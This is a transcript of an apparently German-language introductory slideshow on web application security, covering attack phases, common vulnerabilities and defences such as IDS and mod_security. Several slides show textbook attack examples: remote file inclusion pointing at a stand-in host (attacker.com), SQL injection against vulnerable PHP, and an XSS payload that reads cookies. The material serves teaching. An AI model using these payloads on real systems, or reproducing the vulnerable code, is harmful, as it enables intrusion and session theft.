Web Application Security

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    Favorites, Groups & Events

    Web Application Security - Presentation Transcript

    1. Web Application Security
    2. Agenda • Einführung und Einordung • Grundlagen Web Applications • Angriff • Verteidigung • Praktischer Teil • Fazit
    3. Einführung
    4. Was ist Security?
    5. Security is a process Bruce Schneier
    6. Angriff Angriff Ziel
    7. Verteidigung Angriff Prevention Detection Response Ziel
    8. Prevention Maßnahmen, die einen Angriff im Vorhinein erschweren sollen Reallife: Tür und Schloß an Euren Häusern IT: Firewalls, ACLs / Rechtemanagement
    9. Detection Maßnahmen, die einen Angriff erkennen sollen Reallife: Alarmanlage im Haus IT: Intrusion Detection Systems, Networks Security Monitoring, Traffic Anomaly
    10. Response Reaktion auf einen Angriff Reallife: Ihr ruft die Polizei, diese probiert den Einbrecher festzunehmen. Beweise werden gesammelt IT: Runterfahren des Rechners, forensiche Analyse
    11. Agenda Angriff Prevention Detection Response Ziel Vorletztes Letzes Workend Workend
    12. Agenda Dieser Workshop Angriff Prevention Detection Response Ziel Im Speziellen für Web Applications
    13. Attack the enemy
    14. Der Prozess Ziel auskundschaften
    15. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen
    16. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen Schwachstellen ausnutzten
    17. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen Schwachstellen ausnutzten Position sichern
    18. Der IT-Prozess Ziel auskundschaften Passive Informationsgewinnung Aktive Informationsgewinnung Schwachstellen ausfindigmachen Remote Exploit Schwachstellen Local Exploit ausnutzten Rootkit Installation Position sichern Weitere Expansion
    19. Angriff Passive Aktive Remote Local Root- Expan- IG IG Exploit Exploit kit sion - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........
    20. Verteidigung Passive Aktive Remote Local Root- Expan- IG IG Exploit Exploit kit sion - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........
    21. Grundlagen Web Applications
    22. Statische Webseite GET http://www.juniter.de/index.html index.html
    23. Dynamische Webseite GET http://www.juniter.de/index.php MySQL PHP index.php
    24. Angriff
    25. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    26. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    27. Ziel Informationen über • eingesetzten Server (Apache, IIS, ..) • Skriptsprache (PHP, JSP, ASP, Perl, Rails)
    28. Mittel • Versiongrabbing / Verbinden • Typische Endungen • .php • .jsp • .do • .asp aspx
    29. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    30. Ziel • Webseite manipulieren • Datenbank manipulieren • Lokaler Benutzer für weitere Aktivitäten
    31. Mittel Sicherheitslücken in • Serversoftware • Application Server • Programmiersprache • eigentliches Programm ausnutzen
    32. Typische Schwachstellen • Remote code execution • SQL injection • Format string vulnerabilities • Cross Site Scripting (XSS) • Username enumeration
    33. Remote code execution • register_globals • XMLRPC Schwachstellen
    34. require ($page . \".php\"); http://www.vulnsite.com/index.php? page=http://www.attacker.com/attack.txt
    35. Remote code execution http://www.vulnsite.com/index.php?page=http:// www.attacker.com/attack.txt
    36. SQL Injection Idee: SQL-Anweisung im Code durch die HTML Parameter manipulieren
    37. <form action=\"sql.php\" method=\"POST\" /> <p>Name: <input type=\"text\" name=\"name\" /><br /> <input type=\"submit\" value=\"Add Comment\" /></p> </form> <?php $query = \"SELECT * FROM users WHERE username = '{$_POST ['username']}\"; $result = mysql_query($query); ?>
    38. $query = \"SELECT * FROM users WHERE username = 'steve'\";
    39. $query = \"SELECT * FROM users WHERE username = '' or '1=1'\";
    40. Cross Site Scripting Idee: Dem Server JavaScript Code übergeben, den er anderen Nutzern anzeigt. Diese führen dann diesen Code aus
    41. Cross Site Scripting Wirkung: Cookies und somit Logins stehlen
    42. <form action=\"search.php\" method=\"GET\" /> Welcome!! <p>Enter your name: <input type=\"text\" name=\"name_1\" /><br /> <input type=\"submit\" value=\"Go\" /></p><br> </form> <?php echo \"<p>Your Name <br />\"; echo ($_GET[name_1]); ?>
    43. http://victim_site/clean.php?name_1=<script>code</script> http://victim_site/clean.php?name_1=<script>alert (document.cookie);</script>
    44. Username enumeration Idee: Finden von gültigen Benutzernamen durch Testen der Reaktion auf Username/ Passwort Kombination
    45. Username enumeration Wirkung: Bruteforce und Guessing Attacken auf Benutzerkonten deutlich leichter
    46. Username enumeration Der angegebene Login existiert nicht Die angegebene Login/Passwort Kombination stimmt nicht
    47. Verteidigung
    48. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    49. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    50. Prevention Vorbeugen durch: • Versionsanzeigen abschalten/verfremden • Intrusion Prevention Systeme
    51. Detection Erkennen durch: • Intrusion Detection Systeme • Firewall Logfiles • Serverlogfiles, z.B. UserAgent in Apache Logfile
    52. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
    53. Prevention Vorbeugen durch: • Systeme immer aktuell halten • Applikation Firewalls / Filter • mod_security • Intrusion Prevention Systeme • Snort-Inline
    54. Secure Coding !
    55. Detection Erkennen durch: • Intrusion Detection Systeme • Logfiles • Netzwerküberwachung • netstat • Network Security Monitoring
    56. Fazit
    57. Ressourcen
    58. Bücher • Unix and Internet Security, Simson Garfikel&co, O’Reilly • Network Security Assesment, ..., O’Reilly • Network Security Monitoring, Richard Beijtrich, Addison-Wesley • Security Warrior, ..., O’Reilly • Practical Cryptography, Bruce Schneier&Nils Fergusson,... • ..., Bruce Sterling, ...
    59. Mailing Listen • Bugtraq • Full-Disclosure • SecurityFocus • IDS • WebAppSec • Nmap
    60. Web • Securityfocus.com • OWASP • Phrack.org • grc.com • CVE, MITRE, ISS X-Force
    61. Fragen?

    + Jonathan WeissJonathan Weiss, 3 years ago

    custom

    1944 views, 0 favs, 0 embeds more stats

    Web Application Security Introduction by Jonathan W more

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 1944
      • 1944 on SlideShare
      • 0 from embeds
    • Comments 0
    • Favorites 0
    • Downloads 63
    Most viewed embeds

    more

    All embeds

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories